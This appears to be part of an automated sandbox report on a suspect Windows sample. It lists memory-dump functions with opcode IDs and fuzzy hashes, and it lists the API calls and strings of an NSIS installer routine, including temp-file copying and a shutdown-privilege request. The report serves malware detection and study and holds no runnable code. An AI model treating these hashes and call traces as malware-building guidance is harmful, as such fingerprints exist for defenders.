Snapshot File: hcaresult_6_2_ad000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee41e57f3cde9b7c7f773124b5a1c206a9704707ee27f5fee6d821c727a2805a
Instruction ID: 7bcdd18fb53d74f68d650d310ccbe4306a329cfe51581a613dfbb5e66e445cfe
Opcode Fuzzy Hash: ee41e57f3cde9b7c7f773124b5a1c206a9704707ee27f5fee6d821c727a2805a
Instruction Fuzzy Hash: BB11DD75504284DFCB11CF54D5C0B15FFB2FB85314F28C6AAD84A4BA56C33AD84ACB62

Function 00154E5F Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f39a6bfca563e877d05bbfffad7af47a2162f6129e13997e4aea51325d70dffe
Instruction ID: b587b941de301d41ee19567879a6de0501a4792a4c1f200ba58f30799095da5b
Opcode Fuzzy Hash: f39a6bfca563e877d05bbfffad7af47a2162f6129e13997e4aea51325d70dffe
Instruction Fuzzy Hash: CB016832708144AFCB028E649C21AEF3FB6DFC9340B28802AF914CB281CB758D469B90

Function 3958F090 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 311ef2ad1dae8308f63943a525fa3538dca1898a78c65b49df9189cdcec2fcdd
Instruction ID: ed2dee4ace861ebe2ccfa74694b7bc4b75fc996c9c6fd4833c6f825b224d0977
Opcode Fuzzy Hash: 311ef2ad1dae8308f63943a525fa3538dca1898a78c65b49df9189cdcec2fcdd
Instruction Fuzzy Hash: 4D115B31700A018FD314DF3ED49195AB7F6EF992547158179E10ACB722EB30ED869B90

Function 3958E7F4 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 342bf4e91bf7cd98260213092ef38874be5262dcfd6dddace4fbc34c148f7137
Instruction ID: 4c8197953e777ded2857f03e50b10ec3a3c795e443095c178ce8a4aee4a8e969
Opcode Fuzzy Hash: 342bf4e91bf7cd98260213092ef38874be5262dcfd6dddace4fbc34c148f7137
Instruction Fuzzy Hash: 94012931740A018F9314DF3ED45195AB7F6EF8A754315856AE10ACB321EB30ED869B91

Function 0015B2F0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1c40d951993bdb08817051dc2c2e08322b49f46ed31f89d495d007d63e7cadd
Instruction ID: ba4b2c76acec6277db01a0dbbc10964fb31fe34488c912dc9e73a7a42ced79fe
Opcode Fuzzy Hash: a1c40d951993bdb08817051dc2c2e08322b49f46ed31f89d495d007d63e7cadd
Instruction Fuzzy Hash: 8701D132B052118FDB54AB79888862F76EBBFC86617104539D909DB360FF70CC448690

Function 00158D19 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4140990df7ca2b6023da182203ca2b9ecd8c2d5dda2d8310814516c9633e4c3b
Instruction ID: 5f7dddbe64a14c8ea2f73749b511c9484fce9d19eeee7adbfd3d0592b6d1ba0a
Opcode Fuzzy Hash: 4140990df7ca2b6023da182203ca2b9ecd8c2d5dda2d8310814516c9633e4c3b
Instruction Fuzzy Hash: 36F0C835300114AFDB181AA59C5497B7AEBEBCC361B048429FD09D7390DF71CC0143A1

Function 3958CE50 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cb68c0667c860868b282a2459540138ddaf809b0ffb5d5dd5391fe20c283b6e
Instruction ID: 5eb2e9c8f1daf67abaef5e1dddea43310bcc8d09d1d3855b56b53ed0ba6fa9f2
Opcode Fuzzy Hash: 7cb68c0667c860868b282a2459540138ddaf809b0ffb5d5dd5391fe20c283b6e
Instruction Fuzzy Hash: 78014675E062098FDB04DFA8D8546EDBBB2FB8E301F50A42AC505B3361DB396842CF50

Function 0015FC3E Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f67eb95ae3ba2dd623a318dd82fa3c3618a70de2b66d68a5b0b2c74a088a43ba
Instruction ID: 352d55897f07ad2860c467d4e32eb898ea046075f0a6f760746fc01f445e7158
Opcode Fuzzy Hash: f67eb95ae3ba2dd623a318dd82fa3c3618a70de2b66d68a5b0b2c74a088a43ba
Instruction Fuzzy Hash: 89018631A00288CFDB089BA4C8097ECBBB2EB8A301F401028DA0177260CB76598BCB50

Function 395895E8 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f79d2278ed7f14514e2aa082225720a061e0a48952c8daf846cb269140be4a1
Instruction ID: 1519b0dda699515bb2d1baa9264d56a2225ef35059c65abd8d525d5b8c5c3225
Opcode Fuzzy Hash: 5f79d2278ed7f14514e2aa082225720a061e0a48952c8daf846cb269140be4a1
Instruction Fuzzy Hash: B4F0F431F486149FDB01AF68D8057AE7BB5FB88350F00952AD505D7640DB30A48ACBD2

Function 3958CE60 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa95473eba8c710449a53d105467eebb3477b3a8acee4e351c14cc2c6bdbcd00
Instruction ID: 1a96e6228400b2fb887761657824d0a378048980bebdc65b212a36b1aadc802a
Opcode Fuzzy Hash: aa95473eba8c710449a53d105467eebb3477b3a8acee4e351c14cc2c6bdbcd00
Instruction Fuzzy Hash: 02F03734E05208CFDB04DFA5D8546EDB7F5FB8A301F50A42AC404B3361DB395941CB90

Function 3958EC1A Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde48f8ff666ef9f586dcba4aea1a1ca5941833fdcc4acc3d11cd83ff3b96afc
Instruction ID: d777c05f6f9682a17995da7184e0779f921b427cd88ee56eefc8960311107400
Opcode Fuzzy Hash: bde48f8ff666ef9f586dcba4aea1a1ca5941833fdcc4acc3d11cd83ff3b96afc
Instruction Fuzzy Hash: 5601F431F086149FDB21AF64D8457AE7BB5FB88350F40516AD905D7641D730A889CBD2

Function 39589608 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27b7897162ceb37e4ac1116a55383ac3ac1ace5b59e8563951df048b25a705f6
Instruction ID: 1ff612350e8e6c21bab1e8e07d0b224da4fab2a8549e40e32d5ae9db834ecfe8
Opcode Fuzzy Hash: 27b7897162ceb37e4ac1116a55383ac3ac1ace5b59e8563951df048b25a705f6
Instruction Fuzzy Hash: F5F0A02234421597E20466BD94756AF7AFE9BC23A1B12843AE705D7340EE94AC414BF6

Function 3958D4C8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81a490dcc7c0a6351da026418fc4b49f821d04cc4c242368d20a3c6126afd088
Instruction ID: 6fc618fd7eb9bc58a80ca57291a64dce1c5d13fab080a2587a8673be962c884f
Opcode Fuzzy Hash: 81a490dcc7c0a6351da026418fc4b49f821d04cc4c242368d20a3c6126afd088
Instruction Fuzzy Hash: B4F05C2230430013F211297C5461B6F76EE8BD63D0F028039D701D7340DD909D4187E2

Function 0015B158 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae44308cc441eb9e83ca7c37ee7c6ff189053fa699c6e63769611a36f40586a5
Instruction ID: 8b505ca1c0696489d336b09184ddc276dc406060d568937d977786158a54ab83
Opcode Fuzzy Hash: ae44308cc441eb9e83ca7c37ee7c6ff189053fa699c6e63769611a36f40586a5
Instruction Fuzzy Hash: 3EF0D435419F828FE3012B30ACAC26A7FB0FF0B3137856D95E05A86072DB694449CB11

Function 00151877 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e87709ad7f5127dbd22f24903111f43284c77dbc1eb1ad66ebc07eaa32d69a58
Instruction ID: 9bbf6c871707126ab632b8d4e200cc457b2d047537e249c89094091a0d9c2723
Opcode Fuzzy Hash: e87709ad7f5127dbd22f24903111f43284c77dbc1eb1ad66ebc07eaa32d69a58
Instruction Fuzzy Hash: A0E01235D163D64EC7139BB5A8144DDBF34ED93210B4542E7D454AB052EB30195DC771

Function 0015FE1F Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aa2d387736ecdb1ca5bd217d836e488aaaca77f74138dd41a404dab3c66efa1
Instruction ID: 26c4369428eb4ba6579a5ef8cc4be19e03383be30c7a9ddce2e07c3cb98221cf
Opcode Fuzzy Hash: 4aa2d387736ecdb1ca5bd217d836e488aaaca77f74138dd41a404dab3c66efa1
Instruction Fuzzy Hash: C2E0ED74D04208DBDB04DFB9D54969DBBB5EB49301F6041A99814A3261E7305E46DB40

Function 0015FE20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 649e535f41d320bce14e0363560cb35d1e0e991597dd02b04ade2b6673a990bc
Instruction ID: 26c4369428eb4ba6579a5ef8cc4be19e03383be30c7a9ddce2e07c3cb98221cf
Opcode Fuzzy Hash: 649e535f41d320bce14e0363560cb35d1e0e991597dd02b04ade2b6673a990bc
Instruction Fuzzy Hash: C2E0ED74D04208DBDB04DFB9D54969DBBB5EB49301F6041A99814A3261E7305E46DB40

Function 00151888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e8b338aed290e9a0aa97c691a41924b300554d1326396d186b13426f5e94878
Instruction ID: 73aaf64c7bb5018b7e65ebf16bc7ffe48f22b4e9635f271f6c0d446ca8962ddd
Opcode Fuzzy Hash: 2e8b338aed290e9a0aa97c691a41924b300554d1326396d186b13426f5e94878
Instruction Fuzzy Hash: 57D02B31D2022B53CB00E7A1FC004DFF738EEC1220B404222E91033000FB302658C6F0

Function 001556FF Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 915780d5df4b3df562cc84c6094a80b56b6a00ed6ecd6cd03d2cdf83fe4b1c1c
Instruction ID: bffe707691f5d60e127ce227b70bd73f6426f38fcdc42dde490d1bc4561d70ee
Opcode Fuzzy Hash: 915780d5df4b3df562cc84c6094a80b56b6a00ed6ecd6cd03d2cdf83fe4b1c1c
Instruction Fuzzy Hash: F2E0CD3504C3848ECB13D730ECA57C93F729B41304F004569D4096B66ADF7806469B11

Function 00157EC0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 9968b1f7b0fc0b7bf7e049fa17098cae9ca96013ffba795bad1e7fd54a298b3b
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: F4C0123310C1286A9224504E7C469A3A74CC2C13B5A210177F93D8724054425C4411B4

Function 0015FF22 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcef58f957c520945f9080ee25fc53319ffdf694575f971dfd43622d5e72949d
Instruction ID: 8c9be8099c443bf8d55fdb08e2787646c20297bde7799accba29df25a88f0111
Opcode Fuzzy Hash: dcef58f957c520945f9080ee25fc53319ffdf694575f971dfd43622d5e72949d
Instruction Fuzzy Hash: E3D02B72D0A384CFD3019F60C8097A97B34AF07302F0440CAC81493161C7300D15CB02

Function 0015FFB0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28a7a7712d8de0efe120883e8ff06ea47841c324e6f92ca98af73aaf1229221c
Instruction ID: c5e99afeb2478125569ce2b99f6771643f619a270a0c47cb5afbbe8dbd04cacf
Opcode Fuzzy Hash: 28a7a7712d8de0efe120883e8ff06ea47841c324e6f92ca98af73aaf1229221c
Instruction Fuzzy Hash: 77D05E3A70E242EFDA2B4630D8216CEFF629BF7201B58848EE18447675C12148989713

Function 00159F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a4236f90ad8902e8758c0eb41ee124c00ed85c4a4001822de3f072dc9f2bd98
Instruction ID: a573eb4f71feb2a148762e066b4abe419982340c1d4891a89146307bec3307a7
Opcode Fuzzy Hash: 7a4236f90ad8902e8758c0eb41ee124c00ed85c4a4001822de3f072dc9f2bd98
Instruction Fuzzy Hash: 04D0177BB000089FCB008F88EC809DDF776FB88220B048016E915A3220C7319861CB60

Function 3958D095 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 403c89af2e7f61dbd9e43b924911f605aae3eb5578675bc56f126a274140972d
Instruction ID: 49c7a83065aac6be9e0954c5882b69e8466850fb063c9a35a6fce56910ddb22e
Opcode Fuzzy Hash: 403c89af2e7f61dbd9e43b924911f605aae3eb5578675bc56f126a274140972d
Instruction Fuzzy Hash: F3D0A73210E6A00FD713923D7C348A9BFB04CC712035A86EBE158C70E6D6540A8A87CA

Function 0015FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3860909f8fbc3add0b9a8d96bc7fd6627abba3a356f0ff9ce4cbbfb89113abdc
Instruction ID: 59db60359f77383c13d92ef3cbf64fccc3198fe00f32d7b53c5f6fbb43af689b
Opcode Fuzzy Hash: 3860909f8fbc3add0b9a8d96bc7fd6627abba3a356f0ff9ce4cbbfb89113abdc
Instruction Fuzzy Hash: 4ED0A971804208DBD300EBA4D809BA9B77CAB03202F0000A89818232208BB04D01C684

Function 395895D8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2feeacb6b00bbacab75e9161e609b54174a476bec10ba499fc23d530d058d5f
Instruction ID: cf3394013ac9e01def0c4585662c5e8616c66de58af3a424ce3121862f163bed
Opcode Fuzzy Hash: f2feeacb6b00bbacab75e9161e609b54174a476bec10ba499fc23d530d058d5f
Instruction Fuzzy Hash: F6C08033319620875614A23DB4705DE77E5CEC6361351CD3FF104D31149D545D87C2C4

Function 3958BD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 427f62222b3b9f523219702260df9ef23ea38bf79bc9f1be4c4c11ce638c87df
Instruction ID: 908ea17d9c599aa149397664adc4d6e985331d62be3ecf2ef3b31bed3a35fa57
Opcode Fuzzy Hash: 427f62222b3b9f523219702260df9ef23ea38bf79bc9f1be4c4c11ce638c87df
Instruction Fuzzy Hash: C4C012B5005E0A8BF2042B50AC0CB39B6A8B707313FC82910A018428308BB854548684

Function 00155710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89d49f015d67d16106f29004509b6a00eb4a7083948a7488aa7e851866c40401
Instruction ID: 178e2e603b0be4744b15dbdbdfbd3a35b3cd39f6f203f05784cc864099f4778b
Opcode Fuzzy Hash: 89d49f015d67d16106f29004509b6a00eb4a7083948a7488aa7e851866c40401
Instruction Fuzzy Hash: 5DC012300487098AD505F775EC56795377AA780300B408524E1092A66AEFB819865B90

Function 395894B4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42aa2cee731e6211b6bbfdfea693603b1fca2dfa9402b10486ffc4ca431c82ca
Instruction ID: dd98b169e45f21694620037a91697f44d48de72196bd092b1bdade348a7b6e87
Opcode Fuzzy Hash: 42aa2cee731e6211b6bbfdfea693603b1fca2dfa9402b10486ffc4ca431c82ca
Instruction Fuzzy Hash: 9DC04C3036C704CFE340AA6DE994A6537FCEF86B04F5158E5F5089B665CB66FC408645

Non-executed Functions

Function 004034A5 Relevance: 75.7, APIs: 32, Strings: 11, Instructions: 410stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,00437800,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(00437800,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,00437800,00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(00437800,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,00437800,00437800,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,00437800,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNEL32(00437000,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(00437800,0040A328,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(00437800,00436800,00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(00437800,00437800,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(00438800,00420EE8,?,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

~nsu, xrefs: 00403845
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
TMP, xrefs: 00403735
\Temp, xrefs: 004036FF
Error launching installer, xrefs: 004037D0
.tmp, xrefs: 00403861
SeShutdownPrivilege, xrefs: 0040396F
Low, xrefs: 0040371B
NSIS Error, xrefs: 00403567
TEMP, xrefs: 0040372D
UXTHEME, xrefs: 004034F5, 004034FA, 00403500

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-334447862
Opcode ID: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
